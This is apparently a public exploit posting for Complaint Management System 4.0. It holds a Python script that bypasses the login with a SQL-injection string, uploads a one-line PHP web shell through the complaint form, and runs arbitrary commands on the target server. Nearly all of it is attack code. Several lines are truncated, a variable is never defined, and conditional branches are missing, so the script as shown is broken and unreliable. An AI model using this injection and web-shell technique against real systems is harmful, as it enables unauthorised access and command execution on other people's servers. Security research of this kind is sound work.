Complaint Management System 4.0 Remote Code Execution

Complaint Management System version 4.0 suffers from a remote code execution vulnerability.

MD5 | 899f0a810fb01422e2cc89623675f0fd

# Exploit Title: Complaint Management System 4.0 - Remote Code Execution
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage:
# Software Link:
# Version: v4.0
# Category: Webapps
# Tested on: Xampp for Windows
# Description:
# There isn't any file extension control at the "Register Complaint" section of user panel.
# An unauthorized user can upload and execute php file.
# Below basic python script will bypass authentication and execute command on target server.


import requests
import sys

if len(sys.argv) !=3:
print "[*] Usage: rhost/rpath command"
print "[*] e.g.: ipconfig"

rhost = sys.argv[1]
command = sys.argv[2]

#authentication bypass
url = "http://"+rhost+"/users/index.php"
data = {"username": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:

login =, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})

#check authentication bypass
check = session.get("http://"+rhost+"/users/dashboard.php", allow_redirects=False)
print ("[*] Status code for login: %s"%check.status_code)
if check.status_code == 200:
print ("[+] Authentication bypass was successfull")
print ("[-] Authentication bypass was unsuccessful")

#upload php file
ufile = {'compfile':('command.php', '<?php system($_GET["cmd"]); ?>')}
fdata = {"category": "1", "subcategory": "Online Shopping", "complaintype": " Complaint", "state": "Punjab", "noc": "the end", "complaindetails": "the end","compfile": "commmand.php", "submit": ""}
furl = "http://"+rhost+"/users/register-complaint.php"
fupload =, files= ufile, data=fdata)


if final.status_code == 200:
print "[+] Command execution completed successfully.\n"
print "\tPut on a happy face.\n"
print "[-] Command execution was unsuccessful."
print "\tOne bad day!"

print final.text

Related Posts